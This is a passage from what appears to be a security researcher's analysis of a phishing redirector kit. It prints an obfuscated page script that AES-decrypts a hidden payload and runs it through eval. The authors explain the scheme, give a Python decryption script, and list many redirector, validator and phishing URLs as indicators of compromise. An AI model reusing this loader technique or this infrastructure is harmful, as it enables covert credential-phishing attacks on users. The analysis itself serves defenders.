            var aWVK = &quot;up6cLXcB97udg7xLzKx9PrhTGtyMvteCtTGWxEaMNiuWyapl3j\/ZaHbjQJ43cKGSK0l6xV5H0Mgw9b6BCr+wTK1CUdNA6yKN7vvx1qqTjhqji3fO1a8a6QjpLL5pM+7eLV7Bigt\/WgTQWA6PMYl4X9KDRcSU2drK9Ibkpv+dECOgHPOPTeX\/1\/Mb\/f\/D4BVSZtEy6UHY1yXRRXQu6cbkgrIkAsCsuQmCMwuR97VRtcBU\/ynXI+nSisSJ0NoFuOZPINL3e7BkZ+BAtdVlxvF\/KO1ze9ctXWcDVhF8wqTdVKH5dYA+cbdkKkq6zG1PaKQ32aloOkVNlXMi9BNaDyYsAmqleE+RQgY5+Zgg5VNwgZVjZpQ0VpHRxAPAAQOcWmr7XsKAbCu\/RpWUp5roJosZtGTYC9C+uixZqNIV9GZepes4PV6ZK4V2d1PCHOQbLJtKCE5rwR3dJsOZLkKqFuxdNPFFyrT7WjIIHicttS1wusxkrqYqznunQ5KtBuSSZRyhsI2z&quot;;
        &lt;/script>
        &lt;script>
            var nsIE = &quot;u1Zm5vop5J3Bteo3eJqkkVaMwH7uKwfzhMxosKq1AUGju7z57RDyclOgE2WJOo0IwVWOGjQkMF7icbq6B1HyqY0F95zD3fOKv3MY6k5p\/RbdGebOrc9DQE7cmEK9CKeob1JlP4I84VDk2nq+KUcKMeCN4nNpvgX8ZYP7Dqy33ysPdP56R348VjAZLbyaoWgbOZS\/mwfxSlajRwL7xW+AGFDFpCWowfq7hqWHPX5jxJGPaRf\/y2e7yRsgxOxY0sWDaBvoMzc6y14Q0AdFjHrDrEe1Fg0rIilywTHtBQx2MvBfbbOMnlmRrl2VnczdoALfOUCgWSbrVcb6Q2gfcIisvUtoTaT3JLvbpDW53cG0kpDufBBREWMj6nrk9thtHyLJg19lJSwxVWs6xn2Kau3ZwcfWC0gNqqNeLCHbKh9rXgVtNxitfTGIhB3YJJQLbIH92sVSeErtr7WF8OqPLJPYnszRjjvNWoin3J+eSe97NdhdSaKEP9n0P05o\/Tsj3d5XAfop&quot;;
        &lt;/script>
        &lt;script>
            var TlSy = &quot;APjg0PAwST1TWwPCPFsqvdOlnBgc77SVOEO4EfHF6xsVJ5wPG4uxYrD6y12KTNKdICChgDFTiKge18jSsTrjJuo8lZNZ9ehb+yvveE92RFtU19J4UJE297HEzMXln9kwEmOK\/jmymqO2Wcc5fJaM8xcZ+Po4e4xotCiHouBtvPeB3j+RHazWCapudU69ntvuZ7K5KwcbLthhLfz9S+rRs2hTxax\/gAfmBpdRhESRyKs+J680+ALOm1aeVXOLxJWdJVWMw223Eo3Y0vkhNZG+iJxVIpDvLhY\/u1yry1xJSuKDZLLVUxuMpleQP8mk60SeqDf1oWiJVWc2iWeeXx4fYyepx7N3Y2r+O4H+JU8l22PwmqG+L515jveB4Eec8\/BCQm+eI00kxXWogYAFjIcFd4r2D3VGlCygbnloxZDqwqj6UEBwYJLxkgdAQ0v\/KNHxwvplp9\/dlDAArkow8KUdI9eYdCxshS5rivW\/lwNMoMJyghUl9TETxcnhOP3ghu0RFylp&quot;;
        &lt;/script>
        &lt;script>
            var ejhC = &quot;bKsv3Fj4jua9o72owfuohdpROZP80m5CyVfx73XM8vp6f4G51fk8+vXeJ05Oq4uO5LC8iWLR8DksZBrr1kF1fHgALbMXGpv9Vsc7EXfJIyjG5xmlZt57YOwjRpFyNbfa5Jss0o2aIx7LDoBmF+ZUcIhA1xhNzpZbX8ENDJIyOivj9jZRJMLHIwdhoQFyGnvwq0MrVi9u6wpUgy2QPAnyX\/GkAYQyWj3aHqAvLhNzt6gOvferg0UIHSSq9IZnffJSGza5f+6+\/WUHyd+IguuF7ztOayvSBDqVEYxPlm\/thI6PDDdU5+TA14QQee6Ve7Mmdtgy6qHFR5F4dpn9+ajKcYUq4YXHe2+y39xUwfEAC0qvHrIKcEEbDj1smwc6vQJ3TLa+NWrtecFIb+A5VhGJAel43kxYn0bPf6RhpgafrCGhwhi9IBNKDm2tMnPPzIjhE5wPFKUT1TWUeO4UlY+yxDyp4VpLo+TNaSm8e1SymovfGcWPgDbNdBDIGkwmul9PKKKQ&quot;;
        &lt;/script>
        &lt;script>
            var OTrB = &quot;D+jcdg508k8YpvHOpvE+r21kd9qtCbvz1TOcOHJGz1Lawj9WIAlhf7lGNxl3JmBXFsZcF8KdJaN2nzaJWc+f\/ewovKiBz2yO6o+o2BS3lKm2\/kZTIBUVKoThR\/EWdhioTfHN6fLIOcmKxVUktWFcq3OzpwJizKD\/Y+\/lWPqtx0GxXBCvPDDeibRgyeCgR0\/LBnzX5TuwIaiRCD6HQ8X0zd\/UfLGhVHmDtENiuvaH0Bmi22Uq17r101WiSnrJNiF+7krFqHbiGD8CajwJJ4uOZ0BgxayILouR\/IMDQYoqt8dHoY2gsMObtICIC4sPkgZMWwH1J7AhnaMVD5yuwwlFwy7b+PTYg5cyzNGtU4txySWIcRCgerGA7D7tNcKEhHeSjnaf\/cAxjzB+rjMfAet2b5U0x8vL5JEsz0LqOb4K65Ee4avn1tiTuBCG+x7mdq4ny5A1x3cLTQTPhTenEOKDehQUU853sibrZfVF5vBMAJa2Vhm+MVsKz6IWNHhcRMG5hTud&quot;;
        &lt;/script>
        &lt;script>
            var BmQE = &quot;PoXYqwcWuhbZdDgt5jg\/VY7pFtjHNQiCEJ0588MxCliNq76xOeF\/TXe9hde4XGiuEC2SlaCL8afSDURv49Zn1ZymHSU6VBjIcPPhjT\/bD\/nahGcptqyGEVAvffGBkHB8PDGC9\/MZcC9hB7DStx5StlRFXOqCYvSjWVnzlZa4m3mnwpVUs+J98x9JKg9EN1AyGf2spVDLnZPxejHO55vfp3IdwhKWq4IxYR1Y6A6CCJ1P5OnchD2uHE8w1aTOVWxXIOplURkb97jnfvZXlvrjWqGv1sbZnAILbEFP1kZtNvHbKrjjaU+r5mpQJod9CQM\/ta\/xPu4Kb06bd\/mwp9wjOnl0Nx9P3BEw9UQQA7+rk7MOAnZfDUVJId06ywp4qeOsPsGiuQXEt5Bs40tHqiyVm2umvcmxgaZU3ySU6BDAI5lPLvCo4vb91A314BeX3KvGxTkPi73628WEEdDVtEG0lYP\/uSC6oeQfSOB0kC0L3yeHH\/GK7knAj7FcRIhMHnjk228O&quot;;
        &lt;/script>
        &lt;script>
            var Vmkd = &quot;+e6zV\/B4AfQ3UYvRmUoUt+WTtmwzG3YEaBnSAM9ys1MwciSeyjOMnp+b++BQJIGlNRQwISJcOWY\/DVqED1BLHyLTW0C2MlwDy\/XFl5e4v4tpfW8N57vYtKQYeJYwwUmzzdwfK\/+miU7Az6pfzYsqhvEmnsypVYbq14Ak6GrvNprmeKQG8zSvzqR9YaF99EOkrgcSp5PCxDpFRRJ6OGMn0vkTHnAF+B\/YT5WJOSG+yoA7QK69rFr3TKsU8Zi8ynyJb\/tsrBG+Nf2XRtAj2F1EHB5+cQ\/vcY8OxIDK++n4IOjA8ohPDmrA7uSWwxM4hSSGNc\/PhFoSQpBV4ge5DW2YeguSfO8Gd5s2Vcix4C2yH5DmoY+Aan9xflDqGrY5+0MXCscg9GYr5fmzXlsp0o5xISPdyw7v8Q3b\/B6pjFKxJZFKfWyuByRIwMrvUgSTvjcp3G9bG5IJ+7SZ\/CA\/I30YVSr0b6ZKPNQZ9eMWKsLOjR7lwDwuKP5Ivj\/iRcF8kezg8eUs&quot;;
        &lt;/script>
        &lt;script>
            var lkDX = &quot;mXh0M5PfTERuEoe65BVMPpuJwbE1ZcvLCrtbnqbeSKSawJQT57Fo6IkAQHUBSkTFhZR3MwKJ9uEE4vbUOlE93bc515i+A\/orWalChtlvfOgK8dO+paoICg28nkRsU2RZObTqKl+azQeLeM4887PifXqAMNl2Fujtfp9NLgIAsCopKHU453YXniY1gTYzugF6pz2O4EEkbsIpW4rx7tlYpj3lQdJRZUg7ON5q7hZsOj+4Z27KonWoznDZdEcJ3DNfN5QiHFGZG54P+HzIqjZCeiCQ8jD5D3GWrj+FE\/YeyJYvFRnZwokcgrRUNNfAYay065UwyTC\/4hnjJR1+UQD03alJ2ej5d\/zbxubBQVMWraAuTZqYmb5FMx\/pieWHGooIPPg6tT+dj5SV4p2aPM8f9pjjNmdQktH9qxd+2McQnHaITTS7nNS9G1dnJFB+rfSa7qCVkG7HHdi\/065cv7LkRM1wUUDlfENPoVHtDnYYffc3xPhLQTSMmz3C5qDk08myEz1T&quot;;
        &lt;/script>
        &lt;script>
            var LyMg = &quot;8FLKUVa5J3aAJUbsKdhNymgk\/GKNm2pODASxpfAImmZxGrtq1EKdQgjDkA0NIA+bae+lTpaSyecgzWQPC6wWskp421tG6A0yrUML94InE0TRJvrXhoJB37OwuvtR1xecFe5iEhJz7RZ3nsLT+KSXlebt9W5Tuk8hKQgPj3cLw\/WFKGxEbcKYBI+BK9NL8aRHJwcwf6HvYVO87l\/m9T6HLguiYact8qQ\/f\/rQGYMCX26J928QPJ3kJeJNaN2SFJhZ4zpM+R9Urj2NDMj3+2vII6NYD2Rl7DzHpKCaC\/PShXj2OonKZ4wNsy2MLPYXE4I4LDG3NawSY+RoT3QoAfv2iCM5CZPMqi0+ldZzkoTFseVVaRKLXcEIjbaRRE1j35Lf9sGR7Bp\/fYlveuRQuzC4f9mHHaWfHV8UvRMs8LBBxU70bzfuySWfPQYUZ6I4a4D2hwmiM\/M5BVaFR0W80utu9QG7xS\/gHi4LvJk+Wyqb1aJLK\/i4Hw2AqejSmoNKYA62PxXm&quot;;
        &lt;/script>
        &lt;script>
            var nDmE = &quot;XoXiRbcfhiwk6z7OoFEe4XdPNyGSzeeAltBNOiKCVvL8fTGCXVdQaEI5G4EJv8kXQusgIaeUqhMAWa0Y+dF+0+1vFpBzB6NXmTzWWu0KNxN9Elj9ISXVYhpfAEm0sXQQf9ul6o3+aMQDc3WqNRhiiqD3yzAPpEoIaGegR9tYgItn7GI9gouXQv8a\/lMbGGpt9gqSV8yX9lHW2p8biYISD76JNcmjxCXz0DwdtY5ZLKQ+bQwfLLlD+PqAk8hC1+COW2Rr+MO1z1umXYwNgjcgDkmLMh5sMRQAemq9jcIjUyjyof\/j1tFTm\/Y4dTwTRcfeaT\/lh7\/I+F7nqyjxxYiyYyOoRQ+AxHcmufkhScCMiZN2Rd6Q3+aVJP7seejW4jmsRnYCeoKzAUsCvM08pzumq5uF1pjDM5vHHOkRRORxxbfTMVu8KglFiOGArO3QWfv5G8TWCBMD3rxOfYmESNN\/UDOPJEbXrbLu8HuIY6aJGOTAB6knGSOKJAMtSmJi+srhR5Po&quot;;
        &lt;/script>
        &lt;script>
            var hdtn = &quot;2wnneZQarRm2+ngJH1aj90dvK\/iWRbMW5g80pPvMLmjUEf1k6xWLBlqRv5Y1BW7xaJPJODCMjjldY7YykBjC5q+tmZ26nt5sW\/ToNxMkdxaSRfEYcHkU3ByJI0IqC8B579JCvpYzSqhIGW\/lZVa6XLi44PMdIu3W2upMnNYqK6blun8B8faycJh2NQEm1E1a9iOU6SOzeedp7UMKyHmYnkqTg0icXhiUmyUWeBeilZytkrTuX+ZLOgF1E+yRAwX0DR8622kBYkUR53oW6KzOpROEZcdhUe6OhFiILt8F99sKEsypHth9L1JBjxqH1+7ScCXUwjaORf7qiN1jkiuz3TUv1+vwZsvehnlihR2ZgcTetoWr1mS\/m4yDs34gKcJPwzrbDfVLiqh6GZCSl6D7RpSI\/MF1ClFhqrySZkhxoH1GplGRkinqCsyJWWuUXy43JDv+3WPc+xOr+1Ls+EttfIZUdG\/IlwZs78zcylIRBW\/EKTo6k\/gX3hgUx2l16FLUEuc3&quot;;
        &lt;/script>
        &lt;script>
            yVallSAt = wmKh + fgnd + qdIM + hkah + aWVK + nsIE + TlSy + ejhC + OTrB + BmQE + Vmkd + lkDX + LyMg + nDmE + hdtn;
        &lt;/script>
        &lt;script>
            BQKlktwlNt = 'YNJLQgzHxvcbGAlBiGFHuUfPguhNSgsa';

            const SGPIfLdhJh = [0, 1, 2, 3, 4, 5, 6, 7];
            const VLgvkzhgfB = [67 ^ (0 % 3), 114 ^ (1 % 3), 121 ^ (2 % 3), 112 ^ (3 % 3), 116 ^ (4 % 3), 111 ^ (5 % 3), 74 ^ (6 % 3), 83 ^ (7 % 3)].map( (NyrGXxcGPq, RzhdBorzTU) => (String['constructor']('return String')())['from' + 'Char' + 'Code'](NyrGXxcGPq ^ (RzhdBorzTU % 3)));
            const zZSFsgLvyJ = SGPIfLdhJh.map(RzhdBorzTU => VLgvkzhgfB[RzhdBorzTU]).join('');
            const vdetwAbsaL = globalThis[zZSFsgLvyJ];</code></p><p><code>            FygghXUWQi = vdetwAbsaL[[&quot;A&quot;, &quot;E&quot;, &quot;S&quot;].join(&quot;&quot;)][[&quot;d&quot;, &quot;e&quot;, &quot;c&quot;, &quot;r&quot;, &quot;y&quot;, &quot;p&quot;, &quot;t&quot;].join(&quot;&quot;)](yVallSAt, vdetwAbsaL[[&quot;S&quot;, &quot;H&quot;, &quot;A&quot;, &quot;2&quot;, &quot;5&quot;, &quot;6&quot;].join(&quot;&quot;)](BQKlktwlNt), {
                [[&quot;i&quot;, &quot;v&quot;].join(&quot;&quot;)]: vdetwAbsaL[[&quot;e&quot;, &quot;n&quot;, &quot;c&quot;].join(&quot;&quot;)][[&quot;U&quot;, &quot;t&quot;, &quot;f&quot;, &quot;8&quot;].join(&quot;&quot;)][[&quot;p&quot;, &quot;a&quot;, &quot;r&quot;, &quot;s&quot;, &quot;e&quot;].join(&quot;&quot;)]('1234567890123456'),
                [[&quot;m&quot;, &quot;o&quot;, &quot;d&quot;, &quot;e&quot;].join(&quot;&quot;)]: vdetwAbsaL[[&quot;m&quot;, &quot;o&quot;, &quot;d&quot;, &quot;e&quot;].join(&quot;&quot;)][[&quot;C&quot;, &quot;B&quot;, &quot;C&quot;].join(&quot;&quot;)],
                [[&quot;p&quot;, &quot;a&quot;, &quot;d&quot;, &quot;d&quot;, &quot;i&quot;, &quot;n&quot;, &quot;g&quot;].join(&quot;&quot;)]: vdetwAbsaL[[&quot;p&quot;, &quot;a&quot;, &quot;d&quot;].join(&quot;&quot;)][[&quot;P&quot;, &quot;k&quot;, &quot;c&quot;, &quot;s&quot;, &quot;7&quot;].join(&quot;&quot;)]
            });

            PlBieTDVZQ = FygghXUWQi.toString(vdetwAbsaL.enc.Utf8);

            const HFEWtxsCkH = (function() {
                const hwlmhVblUs = Function(&quot;return String['fro' + 'mChar' + 'Code']&quot;)();
                const eBEDwTQura = hwlmhVblUs(101, 118, 97, 108);
                const qOsoWfvooL = hwlmhVblUs(103, 108, 111, 98, 97, 108, 84, 104, 105, 115);
                let iDLrErVuqD;
                try {
                    iDLrErVuqD = new Function('return this')();
                } catch (lDPOvXAavA) {
                    iDLrErVuqD = new Function('return global')();
                }</code></p><p><code>                return (xMlPmeiFag) => iDLrErVuqD[qOsoWfvooL][eBEDwTQura](xMlPmeiFag);
            }
            )();</code></p><p><code>            HFEWtxsCkH(PlBieTDVZQ);
        &lt;/script>
    &lt;/body>
&lt;/html></code></p><p>Here the attacker is at last attempting to use some established cryptography, specifically AES-CBC. We can see in the above they use <code>YNJLQgzHxvcbGAlBiGFHuUfPguhNSgsa </code>as the passphrase, <code>1234567890123456</code> as the IV, and we are using PKCS7 for padding. This one is as simple as stitching together the base64 encoded variables and decrypting it. As with the other example, this is a good place to practice your crypto debugging skills. We will include our solution here for those who don't enjoy exercises for the reader.</p><p><code>lang:python
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import base64

ciphertext_b64 = &quot;...&quot;
ciphertext = base64.b64decode(ciphertext_b64)

key = SHA256.new(b&quot;...&quot;).digest()
iv = b&quot;1234567890123456&quot;

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)

pad_len = plaintext[-1]
if all(p == pad_len for p in plaintext[-pad_len:]):
    plaintext = plaintext[:-pad_len]

print(plaintext.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;))</code></p></div><div class="rtf"><h3 class="rtf-title">Indicators of Compromise (IoCs)</h3><h3>Quantum Redirector Domains:</h3><p><code>2fhcqgpjiorrrv317if4yo.miderecho-milugar.com
a.abdurrezakkaya.com
a.adabkhane.com
a.avbosquessannicolas.com
a.bostonsoul.org
a.bwcollision.com
a.campdelta.org.za
a.clickours.com
a.comfortcarevetlangley.com
a.creativecutter.org
a.dit.asia
a.dr-sobhikanawati.com
a.elazigyapilab.com
a.emamutfak.com
a.endermolapark.com
a.firatyapimuhendislik.net
a.gelaziz.com
a.hamarcho.com
a.holistichealingartswb.com
a.induycom.com
a.jamaicamoravian.org
a.jollystephenassociates.com
a.kehribarinsaat.com
a.koin50.org
a.letsgohomebaby.shop
a.linknet88.org
a.luxurycenturion.com
a.macpropertiesja.com
a.moclaritysapassessments.com
a.mundobompao.com
a.muratjeo.com
a.nevzatulger.com
a.newpress24.ma
a.nickbdesigns.com
a.nishidiving.com
a.numantarim.com
a.qanvry.com
a.redevetornorte.com.br
a.renovadamente.com.br
a.rojinacenter.com
a.roottopltd.com
a.rutalagourmet.com
a.shabakatalada.com
a.stanly-chamber.org
a.stechltdbd.com
a.tatarlarpano.com.tr
a.thinkbrandlab.com
a.transportwithawb.com
a.unapologeticapologetics.com
aa.consultoriapericial.com
aa.fahrenheitacfl.com
aaa.concaribe.com
aaa.thedevilrockfour.com
actisolution.com
aomaot.com
at.capeflair.com
autodiscover.globalgums.com.pk
b.adabkhane.com
b.bacfug.org
b.drbadieidris.com
b.fusiongas.co.za
b.gelaziz.com
b.hocbongpanasonic2021.com
b.redevetornorte.com.br
bd.roottopltd.com
c.ccbsawholesaleconference.co.za
c.nishidiving.com
c.renovadamente.com.br
c.roottopltd.com
carloscanturosas.com
cd.abdurrezakkaya.com
cd.atcioglunakliye.com
cd.endermolapark.com
cd.favorigergitavan.com
cd.ilgikursmerkezi.com
cd.istanbul-arkadas.com
cd.qx2box.com
cd.shabakatalada.com
championrecruiters.com
colombiaweb.org
cumbumbank.com
d.clickours.com
dd.abdurrezakkaya.com
e6st5nga6jb0d6zmukn4.miderecho-milugar.com
file.britishhomeemporium.com
file.cumbumbank.com
ftp.peflawncareservicellc.com
gymnationsurat.com
hamptonsbellevues.com
hcqgpjiorrrv317if4yo.miderecho-milugar.com
hffzfupxrfdd3ons33rn.104east.net
i.architaxsv.com
i.avalondeco.com
i.chinuchcoaching.com
i.naz-it.com
i.nextstoreus.com
i.papeleriabogota.com.mx
i.parentingplans.org.za
i.powayeyeworks.com
i.securelinxpk.com
i.srlandbd.com
i.yabiso.org
io.lupescleaningservice.net
jp.shabakatalada.com
jpbg6h6qcc5cn2cvix6e.104east.net
k.freshvista.sa.com
k.hosteriaalemana.cl
la.abdurrezakkaya.com
la.baykarmobilya.com
la.elazigyapilab.com
la.newpress24.ma
la.ocogom.org
lgkkt.baykarmobilya.com
m.adabkhane.com
m.groomerapp.com
m.northshoregoodneighbors.com
maiamayor.com.br
mail.championrecruiters.com
mail.cumbumbank.com
mail.harkenhouse.com
mail.lilibeula.com
mail.northshoregoodneighbors.com
mail.ortomedic.org
mail.pauloalmeidadesign.com.br
mail.wiltonbasketball.com
md.linknet88.org
melopego.com
mn.baykarmobilya.com
multanland.com
mx.abdurrezakkaya.com
mx.baykarmobilya.com
mx.elazigyapilab.com
mx.endermolapark.com
mx.favorigergitavan.com
my.britishhomeemporium.com
nakedplugins.com
narayanmishra.com
oed.abdurrezakkaya.com
ok.newpress24.ma
oovjh.mecanicasanjuan.com
ortomedic.org
p.ohiotrustproperties.com
pauloalmeidadesign.com.br
peterdog.com.mx
potral.jec.sa.com
r.gestaokireeff.com.br
remittances.dahnimusic.com
rootedbeautywestford.com
safe2clickview.tlmautomacao.com.br
safepage.malibuinterventionist.com
safepageclick.amorevents.ca
sd.shabakatalada.com
services.faroutcleanandhandy.com.au
sharedfile.servicesavailableavailable.info
sk.shabakatalada.com
steve-april.com
ucmrent.com.mx
umuse4u3.coolhandle-customer.com
uslz9gxjz3kqnyttscoi.104east.net
uwmiyd5ck0ajlkaws2km.miderecho-milugar.com
voko9yil1fmxl6svyehr.104east.net
webdisk.globalgums.com.pk
webmail.globalgums.com.pk
wiltonbasketball.com
www.a.abdurrezakkaya.com
www.a.adabkhane.com
www.a.clinicamelendres.com
www.a.dilaila.com.br
www.a.dit.asia
www.a.dmackholdings.com
www.a.dr-sobhikanawati.com
www.a.elazigyapilab.com
www.a.emamutfak.com
www.a.endermolapark.com
www.a.erniesinfinity.com
www.a.firatyapimuhendislik.net
www.a.gelaziz.com
www.a.gradinitaarad.ro
www.a.hamarcho.com
www.a.holistichealingartswb.com
www.a.jamaicamoravian.org
www.a.jollystephenassociates.com
www.a.kehribarinsaat.com
www.a.kgmaquinas.com.br
www.a.letsgohomebaby.shop
www.a.luxurycenturion.com
www.a.macpropertiesja.com
www.a.mecanicasanjuan.com
www.a.moclaritysapassessments.com
www.a.mundobompao.com
www.a.mundococinas.mx
www.a.muratjeo.com
www.a.nevzatulger.com
www.a.newpress24.ma
www.a.nickbdesigns.com
www.a.nishidiving.com
www.a.numantarim.com
www.a.renovadamente.com.br
www.a.rojinacenter.com
www.a.roottopltd.com
www.a.rutalagourmet.com
www.a.shabakatalada.com
www.a.stechltdbd.com
www.a.tatarlarpano.com.tr
www.a.thinkbrandlab.com
www.a.transportwithawb.com
www.aa.consultoriapericial.com
www.aa.fahrenheitacfl.com
www.aa.pinnsecuritysolutions.com
www.aaa.concaribe.com
www.actisolution.com
www.ah.oqrealestate.com
www.aomaot.com
www.at.capeflair.com
www.b.adabkhane.com
www.b.dmackholdings.com
www.b.fusiongas.co.za
www.b.gelaziz.com
www.b.redevetornorte.com.br
www.b.unapologeticapologetics.com
www.bd.roottopltd.com
www.be.zerodegrees.co.za
www.c.nishidiving.com
www.c.renovadamente.com.br
www.c.roottopltd.com
www.cd.abdurrezakkaya.com
www.cd.atcioglunakliye.com
www.cd.endermolapark.com
www.cd.favorigergitavan.com
www.cd.ilgikursmerkezi.com
www.cd.shabakatalada.com
www.cd.sovepark.com
www.d.clickours.com
www.dd.abdurrezakkaya.com
www.dd.lcnservicesllc.com
www.file.britishhomeemporium.com
www.file.cumbumbank.com
www.files.courtneyahogarth.com
www.i.aerainfra.com
www.i.andrela.ro
www.i.naz-it.com
www.i.nextstoreus.com
www.i.nikolalozanovmd.com
www.i.parentingplans.org.za
www.i.powayeyeworks.com
www.i.robinsnestofindy.org
www.i.securelinxpk.com
www.k.freshvista.sa.com
www.la.abdurrezakkaya.com
www.la.baykarmobilya.com
www.la.elazigyapilab.com
www.la.lcnservicesllc.com
www.la.newpress24.ma
www.lgkkt.baykarmobilya.com
www.m.adabkhane.com
www.m.groomerapp.com
www.m.northshoregoodneighbors.com
www.m.vanguarddetroit30th.com
www.mag.hamarcho.com
www.maiamayor.com.br
www.md.custombrandedmats.co.za
www.me.iwebsolution.in
www.melopego.com
www.mn.baykarmobilya.com
www.multanland.com
www.mx.abdurrezakkaya.com
www.mx.baykarmobilya.com
www.mx.elazigyapilab.com
www.mx.endermolapark.com
www.mx.favorigergitavan.com
www.my.britishhomeemporium.com
www.narayanmishra.com
www.nc.residencialnovalagoa.com.br
www.northshoregoodneighbors.com
www.oed.abdurrezakkaya.com
www.ok.newpress24.ma
www.p.elitereadersbd.com
www.p.ohiotrustproperties.com
www.pauloalmeidadesign.com.br
www.potral.jec.sa.com
www.r.gestaokireeff.com.br
www.remittances.dahnimusic.com
www.safe2clickview.tlmautomacao.com.br
www.safepageclick.amorevents.ca
www.sd.shabakatalada.com
www.services.faroutcleanandhandy.com.au
www.sk.shabakatalada.com
www.wiltonbasketball.com
www.y.mountgreenperu.com
www.yd.qanvry.com
yc.africatourismfair.com
yd.qanvry.com
yppdtd93ntiwnclrzgdz.104east.net
zkmmehacp8uossbpfswr.miderecho-milugar.com</code></p><p></p><h3>humanUrl validator urls:</h3><p><code>cresiche.it.com
deabeayea.today
dioniotha.sa.com
foochousto.sa.com
gooweazou.sa.com
moviofrea.sa.com
sheveacrio.sa.com
shoozawai.za.com
tefrosu.za.com
trofroyea.it.com</code></p><p></p><h3>humanUrl payloads from redirectors:</h3><p>These being added by the threat actor means that we can't be certain they are phishing domains when they don't respond, or are no longer active. However for transparency we split these into those that responded with the fake captchas, and those that appear to be decommissioned:</p><p><code>https://bsifinancial.heart-shaped.com.de/wy5Rc
https://payoffs.heart-shaped.com.de/UegwH
https://ccbsawholesaleconference.co.za/Quote/wmail/index.html
https://k3yshdwonline.top?1H8NHRfx=aHR0cHM6Ly9pY2xvdWQuY29t
https://enigmorafile.icu?QbqeB6izzg=aHR0cHM6Ly9pY2xvdWQuY29t
https://login.fdghjh.candlesdelight.co.uk/FIOtzpzv
https://qylinse.life/olprlWxw/
https://quenraes.za.com/zP66860bP/
https://truenorthskye.it.com/TSbLSNRulstq/
https://active.triopofoo.sa.com/rMpNAi@BYS/
https://api.rozubai.sa.com/9xZ!nNxW5wTgfXP/
https://aes.virojai.live/cB@6lnhdNbe4S2LNVi4Cx/
https://ashiveef.laigaiwea.co.za/hpnv@GqdAHkAiT/
https://async.kuthufa.sa.com/@LdRl4vjFgdNUS/
https://boustalou.zaitoni.com.de/2YU!n4BI/
https://burn.xeron.com.de/@K5Yi4zgkNLX8eErIL4YhTEIM/
https://case.stachiye.ru.com/x@bY1a3uCT6/
https://chmod.noudriotroo.co.im/TB9NLn@Gv/
https://cli.buthiocre.ru.com/4n9!z1gvLsw/
https://console.vynqex.sa.com/t4!ecU9Qs7Pg0RVUR8kno/
https://drift-6vup.bacrioma.sa.com/Hdht!C2zcgYBeH/
https://ecdsa.zesty.sa.com/KND8r3gylxIZggnpd@Ps/
https://endpoint.stochezea.sa.com/5KdDscog!v/
https://ddwgny.geshoosai.sa.com/EbAzGsL8fgvI@n5/
https://fashane.ru/6FsRWa8kcf80!RSh01/
https://fiblegou.joobihi.sa.com/mz1MWGR!PRXY7/
https://gpt.thoodeazo.sa.com/HG42rmF!VBu3vl/
https://firewall.rozubai.sa.com/C7rHMYx4M@/
https://jewel.vynqex.sa.com/6DGqyxpqqLlvNT!u0Sc8x65/
https://jwt.rozubai.sa.com/IFufKrmgWfmIElWY@k7R/
https://js.xeron.com.de/sW!Kti9IYTxuAc7/
https://kibana.voojera.sa.com/qPyCIo3heZk!/
https://label.stachiye.ru.com/Us2!qBOVphYu/
https://lan.joobihi.sa.com/42e5sIhC2ICp!Z5Wm/
https://limit.blinkly.sa.com/Tl42WBncu6jQulxHRgQi@HDA/
https://nikahoos.zozaikeayai.sa.com/j2yFNS@jtQYMI3/
https://oakland-zzv6gkarma.gadouga.sa.com/ogTjL4KiZ@5vCwv1Ii/
https://port.kuthufa.sa.com/Q5neb0B!L/
https://repeat.voojera.sa.com/bBkYvd@OddpmWNPP0zm/
https://repeat.voojera.sa.com/TClI7nnf!/
https://rollback.zesty.sa.com/CftJF8IjD65ijzE8I@fzVXwE/
https://row.voojera.sa.com/dHIQQk!FJ/
https://shimmer.virojai.live/vOp0kCSD29!X66A/
https://soolopo.za.com/evmfAGNPZqtpnEJ2w!e/
https://spirit-yzrb3kelp.vynqex.sa.com/EzcZDP6fJ@5f0U8I/
https://throw.buthiocre.ru.com/qPLsMAC3kOoCyoDA@h/
https://vpn.buthiocre.ru.com/7Cii17@u367/
https://flick.miliotou.ru/M!wgGdidj/
https://journeyer-yir0paragon.crafifroo.ru/aw0IglxpfyC!rr2T6/
https://lphfoxdb.drivxy.sa.com/XoiWiej!E0kc3je/
https://pingtest.zotoze.ru/qlhrWvYISWS!/
https://oceancpl.com/r/?c3Y9bzM2NV8xX3NwJm09dVcmdWlkPVVTRVIwMjA0MjAyNVUyODA0MDIzNiZ0PW03N0123N
http://cdn.jsinit.directfwd.com/sk-jspark_init.php
https://api.rozubai.sa.com/9xZ!nNxW5wTgfXP/
https://async.kuthufa.sa.com/uiui0eUmHP6Mk8!a/
https://dashboard-kqclzwem1.zafc0.com/
https://namdarlc.com/?akeansdh</code></p><p>These are the <code>humanUrl values that we believe are decommissioned or are now broken:</code></p><p><code>http://wow.mahfilgame.in.net/
https://56354646465.fortitude.com.de/sTeVX
https://aa-cued.info/?ocajcmzm
https://alidthservices.de#
https://authicloudaccess.icu?lzwmDOfTPw4=aHR0cHM6Ly9pY2xvdWQuY29t
https://businesscoffeemeetings.com/
https://clublasolucion24.com/
ttps://console.vynqex.sa.com/t4!ecU9Qs7Pg0RVUR8kno/
https://efilesafe2click.faroutcleanandhandy.com.au/noteone
https://eenq.danfysik.de/
https://granexindustries.top/?fujaapvz
https://jorink.citigroup.cyou
https://kaihscapeashelltour.efndanbzvnbshmfuqn.xquvt.com/f/me1jN_X4bfXz0CYQjNmp
https://l1vjuaycy64u6.boxlabelfax.xyz/07a6076d3482424299b9c3ff7639a4e5/?STkdLC=oPd5NU&amp;thhs=
https://login.bmlearning.shop/VCspMZBQ
https://login.hrft.fortisbloomivfgurgaon.com/dWgiIXmk
https://login.jbl.wisecard.com.tr/jDisyEsI
https://login.ubdf.sororitu.com/vJMmBpBz
https://m8.hfucth5.sa.com/invitation1.html
https://maverickraylaws.com/sec/qwdjb1GRpMVTfOwvJEFVsRgB8ytggy3FvKeX
https://movirabu.com.de/RYqusWC0xllOrBa/
https://nerol.top/download
https://nexozaes.cc/TVNu8a7h/
https://pentavere.cyou
https://officenadocusgindoc.swrconsulting.company
https://port.shoothaithio.in.net/BkTk3dcD!I4xEhUlL2DIL/
https://pulseoilcorp.cyou
https://safepageclick.amorevents.ca/quantum.php
https://securenadocufile.ceimatrix.company
https://serve3564as.anticipation.com.de/NVHuM
https://skyentae.sa.com/OScpRmqQWPNunc/
https://skyloomi.xyz/bllbojmii/
